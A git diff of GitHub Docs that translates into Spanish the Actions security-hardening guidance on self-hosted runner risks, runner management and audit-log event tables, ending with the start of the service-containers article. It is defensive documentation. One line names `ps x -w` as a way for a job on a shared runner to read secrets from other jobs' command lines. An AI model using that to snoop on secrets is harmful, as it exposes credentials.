+{% ifversion fpt %}omo resultado, los ejecutores auto-hospedados no deberán [utilizarse casi nunca para repositorios públicos](/actions/hosting-your-own-runners/about-self-hosted-runners#self-hosted-runner-security-with-public-repositories) en {% data variables.product.product_name %}, ya que cualquier usuario puede abrir solicitudes de extracción contra este repositorio y poner en riesgo el ambiente. De forma similar, ten {% elsif ghes or ghae %}Ten{% endif %} cuidado al utilizar ejecutores auto-hospedados en repositorios privados o internos, ya que cualquiera que pueda bifurcar el repositorio y abrir una solicitud de cambios (que son generalmente aquellos con acceso de lectura al repositorio) podrán poner en riesgo el ambiente del ejecutor auto-hospedado, incluyendo el obtener acceso a los secretos y al `GITHUB_TOKEN` que{% ifversion fpt or ghes > 3.1 or ghae or ghec %}, dependiendo de su configuración, podría otorgar{% else %} otorga{% endif %}permisos de acceso de escritura en el repositorio. Aunque los flujos de trabajo pueden controlar el acceso a los secretos de ambiente utilizando ambientes y revisiones requeridas, estos flujos de trabajo no se encuentran en un ambiente aislado y aún son susceptibles a los mismos riesgos cuando se ejecutan en un ejecutor auto-hospedado.
 
-When a self-hosted runner is defined at the organization or enterprise level, {% data variables.product.product_name %} can schedule workflows from multiple repositories onto the same runner. Consequently, a security compromise of these environments can result in a wide impact. To help reduce the scope of a compromise, you can create boundaries by organizing your self-hosted runners into separate groups. For more information, see "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)."
+Cuando se define un ejecutor auto-hospedado a nivel de organización o de empresa, {% data variables.product.product_name %} puede programar flujos de trabajo de repositorios múltiples en el mismo ejecutor. Como consecuencia, si se pone en riesgo la seguridad de estos ambientes, se puede ocasionar un impacto amplio. Para ayudar a reducir el alcance de esta vulneración, puedes crear límites si organizas tus ejecutores auto-hospedados en grupos separados. Para obtener más información, consulta la sección "[Administrar el acceso a los ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)".
 
-You should also consider the environment of the self-hosted runner machines:
-- What sensitive information resides on the machine configured as a self-hosted runner? For example, private SSH keys, API access tokens, among others.
-- Does the machine have network access to sensitive services? For example, Azure or AWS metadata services. The amount of sensitive information in this environment should be kept to a minimum, and you should always be mindful that any user capable of invoking workflows has access to this environment.
+También deberás considerar el ambiente de las máquinas del ejecutor auto-hospedado:
+- ¿Qué información sensible reside en la máquina configurada como el ejecutor auto-hospedado? Por ejemplo, llaves SSH privadas, tokens de acceso a la API, entre otros.
+- ¿La máquina tiene acceso a la red para servicios sensibles? Por ejemplo, servicios de metadatos de Azure o de AWS. La cantidad de información sensible en este ambiente debe ser mínima, y siempre debes estar consciente de que cualquier usuario capaz de invocar flujos de trabajo tendrá acceso a este ambiente.
 
-Some customers might attempt to partially mitigate these risks by implementing systems that automatically destroy the self-hosted runner after each job execution. However, this approach might not be as effective as intended, as there is no way to guarantee that a self-hosted runner only runs one job. Some jobs will use secrets as command-line arguments which can be seen by another job running on the same runner, such as `ps x -w`. This can lead to secret leakages.
+Algunos clientes podrían intentar mitigar estos riesgos parcialmente implementando sistemas que destruyan al ejecutor auto-hospedado automáticamente después de cada ejecución de un job. Sin embargo, este acercamiento podría no ser tan efectivo como se pretende, ya que no hay forma de garantizar que un ejecutor auto-hospedado ejecute solamente un job. Algunos trabajos utilizarán secretos como los argumentos de la línea de comandos, los cuales puede ver otro job que se esté ejecutando en el mismo ejecutor, tal como `ps x -w`. Esto puede causar fugas de secretos.
 
-### Planning your management strategy for self-hosted runners
+### Planear tu estrategia de administración para los ejecutores auto-hospedados
 
-A self-hosted runner can be added to various levels in your {% data variables.product.prodname_dotcom %} hierarchy: the enterprise, organization, or repository level. This placement determines who will be able to manage the runner:
+Un ejecutor auto-hospedado puede agregarse a varios niveles en tu jerarquía de {% data variables.product.prodname_dotcom %}: el nivel de empresa, organización o repositorio. Esta colocación determina quién podrá administrar el ejecutor:
 
-**Centralised management:**
-  - If you plan to have a centralized team own the self-hosted runners, then the recommendation is to add your runners at the highest mutual organization or enterprise level. This gives your team a single location to view and manage your runners. 
-  - If you only have a single organization, then adding your runners at the organization level is effectively the same approach, but you might encounter difficulties if you add another organization in the future.
+**Administración centralizada:**
+  - Si planeas que un equipo centralizado sea el propietario de los ejecutores auto-hospedados, entonces la recomendación es agregar tus ejecutores en el nivel de empresa u organización mutua más alto. Esto otorga a tu equipo una ubicación única para ver y administrar tus ejecutores.
+  - Si solo tienes una organización sencilla, entonces el agregar tus ejecutores a nivel organizacional es efectivamente el mismo acercamiento, pero puede que encuentres dificultades si agregas otra organización en el futuro.
 
-**De-centralised management:**
-  - If each team will manage their own self-hosted runners, then its recommended that you add the runners at the highest level of team ownership. For example, if each team owns their own organization, then it will be simplest if the runners are added at the organization level too. 
-  - You could also add runners at the repository level, but this will add management overhead and also increases the numbers of runners you need, since you cannot share runners between repositories.
+**Administración descentralizada:**
+  - Si cada equipo administrará sus propios ejecutores auto-hospedados, entonces se recomienda que los agregues en el nivel más alto de propiedad del equipo. Por ejemplo, si cada equipo es dueño de su propia organización, entonces será más simple si los ejecutores se agregan a nivel de organización también.
+  - También podrías agregar ejecutores a nivel de repositorio, pero esto agregará una sobrecarga de administración y también incrementará la cantidad de ejecutores que necesitas, ya que no puedes compartir ejecutores entre repositorios.
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
-### Authenticating to your cloud provider
+### Autenticarte a tu proveedor en la nube
 
-If you are using {% data variables.product.prodname_actions %} to deploy to a cloud provider, or intend to use HashiCorp Vault for secret management, then its recommended that you consider using OpenID Connect to create short-lived, well-scoped access tokens for your workflow runs. For more information, see "[About security hardening with OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)."
+Si estás utilizando las {% data variables.product.prodname_actions %} para desplegar a un proveedor en la nube o si intentas utilizar HashiCorp Vault para la administración de secretos, entonces se recomienda que consideres utilizar OpenID Connect para crear tokens de acceso con un buen alcance y de vida corta para tus ejecuciones de flujo de trabajo. Para obtener más información, consulta la sección "[Acerca del fortalecimiento de seguridad con OpenID Connect](/actions/deployment/security-hardening-your-deployments/about-security-hardening-with-openid-connect)".
 
 {% endif %}
 
-## Auditing {% data variables.product.prodname_actions %} events
+## Auditar eventos de {% data variables.product.prodname_actions %}
 
-You can use the audit log to monitor administrative tasks in an organization. The audit log records the type of action, when it was run, and which user account performed the action.
+Puedes utilizar la bitácora de auditoría para monitorear las tareas administrativas en una organización. La bitácora de auditoría registra el tipo de acción, cuándo se ejecutó, y qué cuenta de usuario la realizó.
 
-For example, you can use the audit log to track the `org.update_actions_secret` event, which tracks changes to organization secrets:
-  ![Audit log entries](/assets/images/help/repository/audit-log-entries.png)
+Por ejemplo, puedes utilizar la bitácora de auditoría para rastrear el evento `org.update_actions_secret`, el cual rastrea los cambios en los secretos de la organización: ![Entradas de la bitácora de auditoría](/assets/images/help/repository/audit-log-entries.png)
 
-The following tables describe the {% data variables.product.prodname_actions %} events that you can find in the audit log. For more information on using the audit log, see
-"[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)."
+Las siguientes tablas describen los eventos de {% data variables.product.prodname_actions %} que puedes encontrar en la bitácora de auditoría. Para obtener más información sobre cómo utilizar la bitácora de auditoría, consulta la sección "[Revisar la bitácora de auditoría de tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#searching-the-audit-log)".
 
 {% ifversion fpt or ghec %}
-### Events for environments
+### Eventos para los ambientes
 
-| Action | Description
-|------------------|-------------------
-| `environment.create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
-| `environment.remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
-| `environment.update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| Acción                              | Descripción                                                                                                                                                                                 |
+| ----------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `environment.create_actions_secret` | Se activa cuando se crea un secreto en un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)".        |
+| `environment.delete`                | Se activa cuando se borra un ambiente. Para obtener más información, consulta la sección "[Borrar un ambiente](/actions/reference/environments#deleting-an-environment)".                   |
+| `environment.remove_actions_secret` | Se activa cuando se elimina a un secreto de un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)".   |
+| `environment.update_actions_secret` | Se activa cuando se actualiza a un secreto en un ambiente. Para obtener más información, consulta la sección ["Secretos de ambiente](/actions/reference/environments#environment-secrets)". |
 {% endif %}
 
 {% ifversion fpt or ghes or ghec %}
-### Events for configuration changes
-| Action | Description
-|------------------|-------------------
-| `repo.actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not visible when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+### Eventos para cambios de configuración
+| Acción                 | Descripción                                                                                                                                                                                                                                                                                                                           |
+| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `repo.actions_enabled` | Se activa cuando {% data variables.product.prodname_actions %} se habilita en un repositorio. Puede visualizarse utilizando la IU. Este evento no es visible cuando accedes a la bitácora de auditoría utilizando la API de REST. Para obtener más información, consulta la sección "[Utilizar la API de REST](#using-the-rest-api)". |
 {% endif %}
 
-### Events for secret management
-| Action | Description
-|------------------|-------------------
-| `org.create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."
-| `org.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `org.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
-| `repo.create_actions_secret ` | Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."
-| `repo.remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.
-| `repo.update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.
+### Eventos para la administración de secretos
+| Acción                       | Descripción                                                                                                                                                                                                                                                                                           |
+| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `org.create_actions_secret`  | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se crea para una organización. Para obtener más información, consulta la sección "[Crear secretos cifrados para una organización](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)". |
+| `org.remove_actions_secret`  | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se elimina.                                                                                                                                                                                                              |
+| `org.update_actions_secret`  | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se actualiza.                                                                                                                                                                                                            |
+| `repo.create_actions_secret` | Se crea cuando un secreto de {% data variables.product.prodname_actions %} se crea para un repositorio. Para obtener más información, consulta la sección "[Crear secretos cifrados para un repositorio](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)".          |
+| `repo.remove_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se elimina.                                                                                                                                                                                                              |
+| `repo.update_actions_secret` | Se activa cuando un secreto de {% data variables.product.prodname_actions %} se actualiza.                                                                                                                                                                                                            |
 
-### Events for self-hosted runners
-| Action | Description
-|------------------|-------------------
-| `enterprise.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an enterprise](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)."
-| `enterprise.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed.
-| `enterprise.runner_group_runners_updated` | Triggered when a runner group's member list is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."{% ifversion fpt or ghes > 3.1  or ghae or ghec %}
-| `enterprise.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `enterprise.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `enterprise.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI. This event is not included when you export the audit log as JSON data or a CSV file. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" and "[Reviewing the audit log for your organization](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)."
-| `org.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
-| `org.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see [Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).
-| `org.runner_group_runners_updated` | Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `org.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `org.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `org.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
-| `repo.register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
-| `repo.remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-| `repo.self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
-| `repo.self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% endif %}
-| `repo.self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."
+### Eventos para ejecutores auto-hospedados
+| Acción                                    | Descripción                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.register_self_hosted_runner`  | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a una empresa](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-enterprise)".                                                                                                                                                                                                                                                                                                                         |
+| `enterprise.remove_self_hosted_runner`    | Se activa cuando se elimina un ejecutor auto-hospedado.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| `enterprise.runner_group_runners_updated` | Se activa cuando la lista de miembros de un grupo de ejecutores se actualiza. Para obtener más información, consulta la sección "[Configurar los ejecutores auto-hospedados en un grupo para una organización](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)". {% ifversion fpt or ghes > 3.1  or ghae or ghec %}
+| `enterprise.self_hosted_runner_online`    | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                                                                                                                                                              |
+| `enterprise.self_hosted_runner_offline`   | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `enterprise.self_hosted_runner_updated`   | Se activa cuando se actualiza la aplicación ejecutora. Puede visualizarse utilizando la API de REST y la IU. Este evento no se incluye cuando exportas la bitácora de auditoría como datos de JSON o como un archivo de CSV. Para obtener más información, consulta las secciones "[Acerca de los ejecutores auto-hospedados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)" y "[Revisar la bitácora de auditoría en tu organización](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#exporting-the-audit-log)". |
+| `org.register_self_hosted_runner`         | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a una organización](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)".                                                                                                                                                                                                                                                                                                                  |
+| `org.remove_self_hosted_runner`           | Se activa cuando se elimina un ejecutor auto-hospedado. Para obtener más información, consulta la sección [Eliminar a un ejecutor de una organización](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization).                                                                                                                                                                                                                                                                                                                                          |
+| `org.runner_group_runners_updated`        | Se activa cuando se actualiza la lista de miembros de un grupo de ejecutores. Para obtener más información, consulta la sección "[Configurar ejecutores auto-hospedados en un grupo para una organización](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)".                                                                                                                                                                                                                                                                                                            |
+| `org.runner_group_updated`                | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[cambiar la política de acceso de un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)".{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `org.self_hosted_runner_online`           | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                                                                                                                                                              |
+| `org.self_hosted_runner_offline`          | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `org.self_hosted_runner_updated`          | Se activa cuando se actualiza la aplicación ejecutora. Se puede ver utilizando la API de REST y la IU; no se puede ver en la exportación de JSON/CSV. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."                                                                                                                                                                                                                                                                          |
+| `repo.register_self_hosted_runner`        | Se crea cuando se registra un ejecutor auto-hospedado nuevo. Para obtener más información, consulta la sección "[Agregar un ejecutor auto-hospedado a un repositorio](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)".                                                                                                                                                                                                                                                                                                                       |
+| `repo.remove_self_hosted_runner`          | Se activa cuando se elimina un ejecutor auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un ejecutor de un repositorio](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)".{% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+| `repo.self_hosted_runner_online`          | Se activa cuando la aplicación del ejecutor se inicia. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."                                                                                                                                                                                                              |
+| `repo.self_hosted_runner_offline`         | Se activa cuando se detiene la aplicación del ejecutor. Solo se puede ver utilizando la API de REST; no está visible en la IU o en la exportación de JSON/CSV. Para obtener más información, consulta la sección "[Comprobar el estado de un ejecutor autoalojado](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)".{% endif %}
+| `repo.self_hosted_runner_updated`         | Se activa cuando se actualiza la aplicación ejecutora. Se puede ver utilizando la API de REST y la IU; no se puede ver en la exportación de JSON/CSV. Para obtener más información, consulta "[Acerca de los ejecutores autoalojados](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."                                                                                                                                                                                                                                                                          |
 
-### Events for self-hosted runner groups
-| Action | Description
-|------------------|-------------------
-| `enterprise.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an enterprise](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)."
-| `enterprise.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `enterprise.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group.
-| `enterprise.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `enterprise.runner_group_updated` |Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
-| `org.runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
-| `org.runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
-| `org.runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see "[Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)."
-| `org.runner_group_runner_removed` | Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+### Eventos para grupos de ejecutores auto-hospedados
+| Acción                                   | Descripción                                                                                                                                                                                                                                                                                                                                                             |
+| ---------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `enterprise.runner_group_created`        | Se activa cuando se crea un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Crear un grupo de ejecutores auto-hospedados para una empresa](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-enterprise)".                                      |
+| `enterprise.runner_group_removed`        | Se activa cuando se elimina un grupo de ejecutores auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)".                                                                    |
+| `enterprise.runner_group_runner_removed` | Se activa cuando se utiliza la API de REST para eliminar un ejecutor auto-hospedado de un grupo.                                                                                                                                                                                                                                                                        |
+| `enterprise.runner_group_runners_added`  | Se activa cuando se agrega un ejecutor auto-hospedado a un grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)".                                                                      |
+| `enterprise.runner_group_updated`        | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Cambiar la política de acceso para un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". |
+| `org.runner_group_created`               | Se activa cuando se crea un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Crear un grupo de ejecutores auto-hospedados para una organización](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)".                               |
+| `org.runner_group_removed`               | Se activa cuando se elimina un grupo de ejecutores auto-hospedado. Para obtener más información, consulta la sección "[Eliminar un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)".                                                                    |
+| `org.runner_group_updated`               | Se activa cuando se cambia la configuración de un grupo de ejecutores auto-hospedados. Para obtener más información, consulta la sección "[Cambiar la política de acceso para un grupo de ejecutores auto-hospedados](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)". |
+| `org.runner_group_runners_added`         | Se activa cuando se agrega un ejecutor auto-hospedado a un grupo. Para obtener más información, consulta la sección "[Mover un ejecutor auto-hospedado a un grupo](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group)".                                                                      |
+| `org.runner_group_runner_removed`        | Se activa cuando se utiliza la API de REST para eliminar un ejecutor auto-hospedado de un grupo. Para obtener más información, consulta la sección "[Eliminar un ejecutor auto-hospedado de un grupo en una organización](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)".                                                       |
 
-### Events for workflow activities
+### Eventos para las actividades de los flujos de trabajo
 
 {% data reusables.actions.actions-audit-events-workflow %}
diff --git a/translations/es-ES/content/actions/using-containerized-services/about-service-containers.md b/translations/es-ES/content/actions/using-containerized-services/about-service-containers.md
index 5487cf23f9..1483dba347 100644
--- a/translations/es-ES/content/actions/using-containerized-services/about-service-containers.md
+++ b/translations/es-ES/content/actions/using-containerized-services/about-service-containers.md
@@ -1,6 +1,6 @@
 ---
-title: About service containers
-intro: 'You can use service containers to connect databases, web services, memory caches, and other tools to your workflow.'
+title: Acerca de los contenedores de servicios
+intro: 'Puedes usar los contenedores de servicios para conectar las bases de datos, los servicios Web, las memorias caché y otras herramientas a tu flujo de trabajo.'
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/about-service-containers
   - /actions/configuring-and-managing-workflows/about-service-containers
@@ -19,37 +19,37 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About service containers
+## Acerca de los contenedores de servicios
 
-Service containers are Docker containers that provide a simple and portable way for you to host services that you might need to test or operate your application in a workflow. For example, your workflow might need to run integration tests that require access to a database and memory cache.
+Los contenedores de servicios son contenedores de Docker que ofrecen una manera sencilla y portátil de alojar servicios que probablemente necesites para probar o usar tu aplicación en un flujo de trabajo. Por ejemplo, es posible que tu flujo de trabajo tenga que ejecutar pruebas de integración que requieran acceso a una base de datos y a una memoria caché.
 
